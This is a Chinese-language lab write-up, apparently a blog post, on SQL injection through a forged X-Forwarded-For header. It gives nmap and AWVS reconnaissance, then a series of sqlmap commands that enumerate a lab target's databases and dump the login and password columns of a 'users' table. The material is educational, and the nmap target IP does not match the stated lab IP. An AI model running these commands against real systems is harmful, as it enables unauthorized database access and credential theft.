Background
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入的大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
任何一个用户可以输入的位置都肯是注入点。比如url中,以及http报文中,头部参数;
简介
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。简单的来说,就是服务器端用来获取客户端真实IP的字段。
X-Forwarded-For格式
1 | X-Forwarded-For: client1, proxy1, proxy2 |
X-Forwarded-For包含多个IP地址,每个值通过逗号+空格分开,最左边(client1)是最原始客户端的IP地址,中间如果有多层代理,每一层代理会将连接它的客户端IP追加在X-Forwarded-For右边。
代理方向
1 | 客户端=>正向代理=>透明代理=>服务器反向代理=>Web服务器 |
一般的客户端(例如浏览器)发送HTTP请求是没有X-Forwarded-For头的,当请求到达第一个代理服务器时,代理服务器会加上X-Forwarded-For请求头,并将值设为客户端的IP地址(也就是最左边第一个值),后面如果还有多个代理,会依次将IP追加到X-Forwarded-For头最右边,最终请求到达Web应用服务器,应用通过获取X-Forwarded-For头取左边第一个IP即为客户端真实IP。
X-Forwarded-For注入的实现原理:伪造X-Forwarded-For头部,头部内容包含恶意的sql语句
参考博客
实验环境
- 攻击机 Kali: 192.168.43.44
- 靶场机器 Debian: 192.168.43.93
信息探测
探测靶机开放服务及其版本
– nmap -sV 192.168.43.97
【开放80端口http服务】
【Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器】
浏览器访问站点页面
发现管理员登陆页面
尝试弱口令登陆失败
漏洞扫描
使用AWVS扫描站点漏洞
(AWVS是一款专业的Web扫描工具)
这里直接给出扫描结果
发现站点存在sql注入漏洞,可注入的参数X-Forwarded-For
数据库爆破
既然知道存在sql注入漏洞
就可以用sql注入神器—-sqlmap
先做一个简单的探测
(-H +增加的头部 –batch 由系统默认参数)
1 | sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" --batch |
果然存在漏洞
那么就好办了
跑数据库名
1 | root@kali:~# sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" --dbs --batch |
跑数据库表名
1 | root@kali:~# sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" -D photoblog --tables --batch |
跑列名
1 | root@kali:~# sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" -D photoblog -T users --columns --batch |
跑字段
1 | root@kali:~# sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" -D photoblog -T users -C login,password --dump --batch |
获得管理员账号,就可以登陆后台了